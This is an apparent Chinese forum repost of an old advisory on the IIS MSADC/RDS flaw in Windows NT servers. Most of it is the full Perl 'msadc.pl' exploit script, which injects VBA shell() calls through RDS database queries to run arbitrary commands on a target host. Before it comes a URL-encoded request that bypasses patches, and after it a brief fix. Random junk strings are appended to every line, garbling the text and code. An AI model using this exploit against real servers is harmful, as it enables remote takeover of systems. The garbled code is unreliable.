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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 8 z7,W3b  
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涉及程序: >:|q J$J.  
Microsoft NT server nP5fh_/  
1OS3Gv8jc~  
描述: POs~xaZ`H  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %W@IB8]Vr  
nmrk-#._@9  
详细: 8iA(:Tb  
如果你没有时间读详细内容的话,就删除: g+*[CKO{  
c:\Program Files\Common Files\System\Msadc\msadcs.dll YJsi5  
有关的安全问题就没有了。 RjHpC7b*%  
Jx?>1q=M  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 #C}(7{Vt  
7?#32B Gr  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 54%}JA][  
关于利用ODBC远程漏洞的描述,请参看: JFdzA  
C>ZeG Vq  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !-~(*tn  
[GM<Wt0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ^q2zqC  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp c>.Xc[H  
ZeV)/g,w  
这里不再论述。 v21?  
~Wv?p4  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: !~v>&bCG>9  
Z8UM0B=i  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -C<aB750O)  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Wno5B/V  
\ } f*   
xc?<:h"  
#将下面这段保存为txt文件,然后: "perl -x 文件名" rfpxE>_|G  
E 3.s8}}  
#!perl [N)M]u  
# =Y[Ae7e  
# MSADC/RDS 'usage' (aka exploit) script LcF3P 4  
# :LG%8Z{R  
# by rain.forest.puppy A4h/oMis  
# h65j,v6B  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me rg.if"o  
# beta test and find errors! H)tDfk sq\  
F{tSfKy2  
use Socket; use Getopt::Std; ~G:7*:[b  
getopts("e:vd:h:XR", \%args); cw{[B%vw  
Y?cw9uYB  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; | &vuK9q  
o5R40["  
if (!defined $args{h} && !defined $args{R}) { U)8]pUI+/P  
print qq~ <X*8Xzmv  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 37Y]sJrs$  
-h <host> = host you want to scan (ip or domain) _#B/# ^a  
-d <seconds> = delay between calls, default 1 second eH{ 9w8~  
-X = dump Index Server path table, if available 6Tnzg`0I  
-v = verbose ]9Hy "#Fz  
-e = external dictionary file for step 5 Ea?.H Rxl  
Ags`%(  
Or a -R will resume a command session <& iBR  
(z7#KJ1+Aw  
~; exit;} :_*Q IyW  
4fswx@l  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Pa<X^&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} lH.2H  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} I "4B1g  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Ip0q&i<6  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} .<dmdqk]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 4^&vRD,  
ev $eM  
if (!defined $args{R}){ $ret = &has_msadc; 4aC#Cv:0  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ZD(gYNi  
U,BB C  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" `>Cx!sYhV  
. "cmd /c "; >^&+,*tsS4  
$in=<STDIN>; chomp $in; r8rR_ M{P  
$command="cmd /c " . $in ; oV`sCr5%  
 \Z':hw  
if (defined $args{R}) {&load; exit;} \ 714Pyy  
m@ YL Z  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; r;z A `  
&try_btcustmr; 5,C,q%2  
Df (6DuW  
print "\nStep 2: Trying to make our own DSN..."; t=AR>M!w~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; M %~kh"  
^>fs  
print "\nStep 3: Trying known DSNs..."; "L]_NS T  
&known_dsn; `Z-`-IL  
j$6}r  
print "\nStep 4: Trying known .mdbs..."; e^yB9b  
&known_mdb; <X?F :?Mk  
nP^$p C  
if (defined $args{e}){ Npqbxb  
print "\nStep 5: Trying dictionary of DSN names..."; %:*HzYf  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 32yNEP{  
eORt qX8*  
print "Sorry Charley...maybe next time?\n"; _q 8m$4  
exit; @^O ww(I  
-bwl~3ZTi  
############################################################################## '#PT C,0UJ  
uZ+<  
sub sendraw { # ripped and modded from whisker zlfm})+G  
sleep($delay); # it's a DoS on the server! At least on mine... PBmt.yF  
my ($pstr)=@_; 0*)79Sz  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || U{EW +>  
die("Socket problems\n"); 4%TC2Laii  
if(connect(S,pack "SnA4x8",2,80,$target)){ N!AFsWV  
select(S); $|=1; T (qu~}  
print $pstr; my @in=<S>; cO:x{~  
select(STDOUT); close(S); {\B!Rjt[T  
return @in; L6^h3*JyD  
} else { die("Can't connect...\n"); }} s6B@:9  
]G:xTv8  
############################################################################## m| Z)h{&  
(]:G"W8f  
sub make_header { # make the HTTP request F}Au'D&n_  
my $msadc=<<EOT }1V&(#H2  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 |($pXVLH`  
User-Agent: ACTIVEDATA tz,FK;8  
Host: $ip ?D_zAh?pW  
Content-Length: $clen DjIs"5Iei  
Connection: Keep-Alive x>^S..K}L%  
Y*Pr  
ADCClientVersion:01.06 8/:\iPk0  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Q*I/mUP&f  
p.G7Cs  
--!ADM!ROX!YOUR!WORLD!  X_lNnk  
Content-Type: application/x-varg nB.p}k  
Content-Length: $reqlen ]arP6 iN+  
!duR7a  
EOT SZ_hGD0  
; $msadc=~s/\n/\r\n/g; <\5{R@A*6  
return $msadc;} b{&@ Lm0Tn  
?Rdi"{.wI  
############################################################################## b}fH$.V@  
+"!IVHY  
sub make_req { # make the RDS request DsoF4&>g[B  
my ($switch, $p1, $p2)=@_; <W pz\U  
my $req=""; my $t1, $t2, $query, $dsn; ?V0IryF;  
Oe$C5KA>LW  
if ($switch==1){ # this is the btcustmr.mdb query Nx99dr  
$query="Select * from Customers where City=" . make_shell(); |s:!LU&OL\  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4Xz|HU?  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6R25Xfm_|  
'Gk|&^  
elsif ($switch==2){ # this is general make table query W;=ZQ5Lw  
$query="create table AZZ (B int, C varchar(10))"; \21!NPXH2  
$dsn="$p1";} bu]bfnYi9  
GB#7w82  
elsif ($switch==3){ # this is general exploit table query 1n^xVk-G  
$query="select * from AZZ where C=" . make_shell(); >_@J&vC  
$dsn="$p1";} SC#  
KLX>QR@  
elsif ($switch==4){ # attempt to hork file info from index server }5K\ l  
$query="select path from scope()"; iY="M_kQ_  
$dsn="Provider=MSIDXS;";} e*tOXXY1  
r <U }lK  
elsif ($switch==5){ # bad query MStaP;|  
$query="select"; ek9%Xk8  
$dsn="$p1";} e.N#+  
BsJClKp/  
$t1= make_unicode($query); D3]_AS&\  
$t2= make_unicode($dsn); W|:WAxJ*d  
$req = "\x02\x00\x03\x00"; QZX+E   
$req.= "\x08\x00" . pack ("S1", length($t1)); WDcjj1`l  
$req.= "\x00\x00" . $t1 ; ~Y{K ^:wN^  
$req.= "\x08\x00" . pack ("S1", length($t2)); ~%]+5^Ka]  
$req.= "\x00\x00" . $t2 ; d/MMPge3  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ){v nmJJ%  
return $req;} -{dw Ll_  
7*sB"_U2  
############################################################################## Qi9SN00F.  
RW'QU`N[Y  
sub make_shell { # this makes the shell() statement zR%#Q_  
return "'|shell(\"$command\")|'";} JH 8^ZP:d'  
r;-\z(h  
############################################################################## @ Fu|et  
#(%6urd  
sub make_unicode { # quick little function to convert to unicode QgP UP[  
my ($in)=@_; my $out; ~!I \{(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Z',pQ{rD  
return $out;} 7>#74oy  
d4lEd>Ni  
############################################################################## N)QW$iw9  
@sP?@< C  
sub rdo_success { # checks for RDO return success (this is kludge) WkT4&|POJ  
my (@in) = @_; my $base=content_start(@in); ;e+ErN`a.~  
if($in[$base]=~/multipart\/mixed/){ )Ipa5i>t  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $(BW |Pc  
return 0;} p &A3l  
[L:,A{rve  
############################################################################## ,+ WDa%R  
oYW:p tJ  
sub make_dsn { # this makes a DSN for us HJDM\j*5  
my @drives=("c","d","e","f"); 7a2 uNt,X  
print "\nMaking DSN: "; ]'hz+V31%  
foreach $drive (@drives) { zFlW\wc  
print "$drive: "; |1#*`2j\=9  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . s q_ f[!  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .RdnJ&K*  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); z Mtx>VI  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; LKhUqW  
return 0 if $2 eq "404"; # not found/doesn't exist y:mXv<g  
if($2 eq "200") { V V<Zl  
foreach $line (@results) { Z\n nVM=  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} bO9X;} \6  
} return 0;} |(]XZ!{  
5~v({R.  
############################################################################## l2i[wc"9  
Pwf":U)  
sub verify_exists { HUZI7rC[=)  
my ($page)=@_; ^]K_k7`I  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,#nyEE  
return $results[0];} 5-*/wKjLz  
Vf0m7BJc3  
############################################################################## }5EvBEv-)  
[:Sl^ Z&6M  
sub try_btcustmr { -GH>12YP  
my @drives=("c","d","e","f"); :U=*@p4?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); dW6sA65<Y  
MGK%F#PM  
foreach $dir (@dirs) { t~3!| @3i  
print "$dir -> "; # fun status so you can see progress `$05+UU  
foreach $drive (@drives) { H+` Zp  
print "$drive: "; # ditto jx J5F3d  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; nwf(`=TC  
$reqlenlen=length( "$reqlen" ); "d% o%  
$clen= 206 + $reqlenlen + $reqlen; w~Aw?75 t  
v#TU7v?~  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); N^v"n*M0|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} U<K)'l6#2n  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} c1Skt  
=nG g k}Z  
############################################################################## K9]L>Wj  
",Mr+;;:[  
sub odbc_error { Dc2H<=];  
my (@in)=@_; my $base; \<TWy&2&  
my $base = content_start(@in); +xp)la.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this m9 1Gc?c  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @kd`9Yw  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; G8}k9?26(  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jBb:)  
return $in[$base+4].$in[$base+5].$in[$base+6];} Phr+L9Eog  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; {{qu:(_g  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . p C^d-Ii  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} MaN6bM  
3s;^p,9 Y  
############################################################################## *mby fu0q  
50 8v:?^'  
sub verbose { <- L}N '  
my ($in)=@_; ~wvu7  
return if !$verbose; 6/6M.p  
print STDOUT "\n$in\n";} g%TOYZr!X  
BlnR{Y  
############################################################################## 1 8%+ Hy=  
]lqLC  
sub save { 9(6f:D  
my ($p1, $p2, $p3, $p4)=@_; 3N257]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Lcb5^e?'Q  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Y7BmW+  
close OUT;} gamE^Ee  
a`I \19p]  
############################################################################## X lLG/N  
0fu*}v"  
sub load { 8 kvF~d ;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; u:.w/k%+  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); -Gy=1W`09  
@p=<IN>; close(IN); >e^bq/'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); R"W5R-  
$target= inet_aton($ip) || die("inet_aton problems"); |yS  %  
print "Resuming to $ip ..."; ]n}aePl}oU  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; SP.k]@P  
if($p[1]==1) { 0RgE~x!hI  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; :er(YWF:  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; F%P"T%|  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ,R. rxoO  
if (rdo_success(@results)){print "Success!\n";} gu|=uW K  
else { print "failed\n"; verbose(odbc_error(@results));}} Wn2'uZ5If  
elsif ($p[1]==3){ ox*1F+Xri  
if(run_query("$p[3]")){ .J <t]  
print "Success!\n";} else { print "failed\n"; }} uP G\1  
elsif ($p[1]==4){ ml@;ngmp.  
if(run_query($drvst . "$p[3]")){ `J] e.K  
print "Success!\n"; } else { print "failed\n"; }} #lR-?Uh  
exit;} $Q"D>Qf{G  
#/_{(P  
############################################################################## 't6l@ _x  
|M`'   
sub create_table { gFqF&t  
my ($in)=@_; #N"m[$;QR  
$reqlen=length( make_req(2,$in,"") ) - 28; t W+"/<U  
$reqlenlen=length( "$reqlen" ); \HXq~Y  
$clen= 206 + $reqlenlen + $reqlen; 60;_^v  
my @results=sendraw(make_header() . make_req(2,$in,"")); eSQkW  
return 1 if rdo_success(@results); }{y)a<`  
my $temp= odbc_error(@results); verbose($temp); EHN(K-  
return 1 if $temp=~/Table 'AZZ' already exists/; |sdG<+  
return 0;} NOg/rDs'{  
i\<S ;  
############################################################################## k4a51[SYBK  
?Z2`8]-E  
sub known_dsn { Unvl~lm6  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go \3OEC`  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ; [G:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Q3Pu<j}Y  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); {n|ah{_p|  
"AU.Eh"-1  
foreach $dSn (@dsns) { nNq<x^@83  
print "."; #9gx4U  
next if (!is_access("DSN=$dSn")); KLvAe>#,  
if(create_table("DSN=$dSn")){ >TMd1? ,  
print "$dSn successful\n"; )$RV)  
if(run_query("DSN=$dSn")){ d?&`Z Vl  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qg{gCG  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 7HkFDI()1  
L&c & <+0T  
############################################################################## :.4O Hp1  
T%% 0W J  
sub is_access { D(l,Z  
my ($in)=@_; 6@TU9AZS `  
$reqlen=length( make_req(5,$in,"") ) - 28; )X-'Q-  
$reqlenlen=length( "$reqlen" ); 8t Q;N'  
$clen= 206 + $reqlenlen + $reqlen; TG[u3 Y4  
my @results=sendraw(make_header() . make_req(5,$in,"")); -'Ay(h   
my $temp= odbc_error(@results); rRg,{:;A  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); u$ yXuFj/  
return 0;} Vbt!, 2_)  
f";pfu_FZ  
############################################################################## Vm|KL3}NRv  
G<M0KU (  
sub run_query { hs[x\:})/  
my ($in)=@_; y_X jY  
$reqlen=length( make_req(3,$in,"") ) - 28; G&xtL  
$reqlenlen=length( "$reqlen" ); +}O -WX?  
$clen= 206 + $reqlenlen + $reqlen; #B<EMGH  
my @results=sendraw(make_header() . make_req(3,$in,"")); U|]cB  
return 1 if rdo_success(@results); S=ZZ[E_~S  
my $temp= odbc_error(@results); verbose($temp); s]% C z\  
return 0;} ]f#s`.A~  
E/g"}yR  
############################################################################## s> m2qSu  
yfK}1mx)j  
sub known_mdb { VxBBZsZO~  
my @drives=("c","d","e","f","g"); kN.;;HFq#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jB(+9?;1${  
my $dir, $drive, $mdb; D#UuIZ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ''YqxJ fb  
g]lEG>y1R  
# this is sparse, because I don't know of many p;>A:i  
my @sysmdbs=( "\\catroot\\icatalog.mdb", YZ5,K6u  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 9T;4aP>6j#  
"\\system32\\certmdb.mdb", tGgxID  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% <Cv(@A->  
?D6uviQg  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 6LBdTnzUd  
"\\cfusion\\cfapps\\forums\\forums_.mdb", S s+F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", wkM1tKhy/  
"\\cfusion\\cfapps\\security\\realm_.mdb", nS04Ha  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", .26mB Xr  
"\\cfusion\\database\\cfexamples.mdb", j@>D]j  
"\\cfusion\\database\\cfsnippets.mdb", q0NFz mG  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", .Q%Hi7JMi  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,c4HicRJ#  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ~f h  
"\\cfusion\\database\\smpolicy.mdb", g3z/yj  
"\\cfusion\\database\cypress.mdb", y6nP=g|')>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 0n{.96r0R  
"\\website\\cgi-win\\dbsample.mdb", g%&E~V/g$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", >E>yA d  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" HEBeJ2w  
); #these are just 1Z) Et,  
foreach $drive (@drives) { 8cG?p  
foreach $dir (@dirs){ @ j^R+F  
foreach $mdb (@sysmdbs) { Z1eT> 6|]r  
print "."; c,4~zN8Ou  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ -g@!\{  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; m<h%BDSzr{  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ /?eVWCR  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; iM@$uD$_Q2  
} else { print "Something's borked. Use verbose next time\n"; }}}}} q#tUDxf(|  
)O]6dd  
foreach $drive (@drives) { '{"Rjv7  
foreach $mdb (@mdbs) { C`hdj/!A  
print "."; j|t=%*  
if(create_table($drv . $drive . $dir . $mdb)){ 3[ xdls  
print "\n" . $drive . $dir . $mdb . " successful\n"; ECOJ .^  
if(run_query($drv . $drive . $dir . $mdb)){ ~Q&J\'GQH  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; HU'Mi8xxy  
} else { print "Something's borked. Use verbose next time\n"; }}}} M76p=*  
} K6kz{R%`  
inWLIXC,  
############################################################################## ,X.[37  
/K#k_k  
sub hork_idx { I8Aq8XBw  
print "\nAttempting to dump Index Server tables...\n"; _~z oMdT!  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *4}_2"[  
$reqlen=length( make_req(4,"","") ) - 28; Co1d44Q  
$reqlenlen=length( "$reqlen" ); VBX)xQazU  
$clen= 206 + $reqlenlen + $reqlen; C^L+R7  
my @results=sendraw2(make_header() . make_req(4,"","")); M]s\F(*ib  
if (rdo_success(@results)){ pR61bl)  
my $max=@results; my $c; my %d; wtw=RA  
for($c=19; $c<$max; $c++){ <E2 IU~e  
$results[$c]=~s/\x00//g; e$Ksn_wEq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; BS9VwG <Z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 7%y$^B7{  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 3YHEH\60^  
$d{"$1$2"}="";} BpZ~6WtBq  
foreach $c (keys %d){ print "$c\n"; } lL}NiN-)t  
} else {print "Index server doesn't seem to be installed.\n"; }} 'X;cgAq8(  
 T Rv  
############################################################################## =SJ#6uFS  
QQrldc(I  
sub dsn_dict { "'U^8NA2  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); h p]J> i.  
while(<IN>){ i g(O$y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 50cVS)hG6d  
next if (!is_access("DSN=$dSn")); GbSCk}>  
if(create_table("DSN=$dSn")){ [Fl_R[o  
print "$dSn successful\n"; )9hqd  
if(run_query("DSN=$dSn")){ NoiB9 8g  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { EhxpMTS  
print "Something's borked. Use verbose next time\n";}}} }u_D{bz  
print "\n"; close(IN);} `HX:U3/  
duaF?\vv  
############################################################################## rfqwxr45h  
{<42PJtPY  
sub sendraw2 { # ripped and modded from whisker d4| )=  
sleep($delay); # it's a DoS on the server! At least on mine... /j~~S'sw  
my ($pstr)=@_; AY /9Io-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .KrLvic  
die("Socket problems\n"); ?2]fE[SqY  
if(connect(S,pack "SnA4x8",2,80,$target)){ rtj/&>  
print "Connected. Getting data"; 39v Bsc  
open(OUT,">raw.out"); my @in; QP (0  
select(S); $|=1; print $pstr; y98FEG#S}  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} `?z('FV  
close(OUT); select(STDOUT); close(S); return @in; cYA:k  
} else { die("Can't connect...\n"); }} Bgxk>Y  
S2$66xr#  
############################################################################## {KG}m'lx  
+F)EGB%LXs  
sub content_start { # this will take in the server headers GW A T0  
my (@in)=@_; my $c; 2Re8rcQQU  
for ($c=1;$c<500;$c++) { #Zdh<.   
if($in[$c] =~/^\x0d\x0a/){ o%_-u +  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } mkSu $c  
else { return $c+1; }}} A (2 0+  
return -1;} # it should never get here actually r8EJ@pOF2w  
@Tu`0 =8  
############################################################################## T8S&9BM7  
 ?(9*@  
sub funky { =t,oj6P~  
my (@in)=@_; my $error=odbc_error(@in); hIV9.{J  
if($error=~/ADO could not find the specified provider/){ LeCc`x,5  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; rS [4Pey  
exit;} Y/sav;  
if($error=~/A Handler is required/){ 'gY?=,dF>  
print "\nServer has custom handler filters (they most likely are patched)\n"; SY,ns*>1F  
exit;} &]TniQH  
if($error=~/specified Handler has denied Access/){ tK3$,9+  
print "\nServer has custom handler filters (they most likely are patched)\n"; > "hP  
exit;}} Ti? "Hr<W  
m6i ,xn  
############################################################################## Qsbyy>o)  
hkPMu@BI  
sub has_msadc { hi(b\ ABx  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 5iw\F!op:  
my $base=content_start(@results); #(tdJ<HvC|  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); z4YDngf=4  
return 0;} N3u06  
/dCsZA  
######################## ~cm4e>o  
$n<1D -0!r  
-b!?9T?}  
解决方案: WO>,=^zPJ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll gt8dFcm|s  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 w[GEm,ZC  
aVR!~hvFs  
拿出来充数 哈哈
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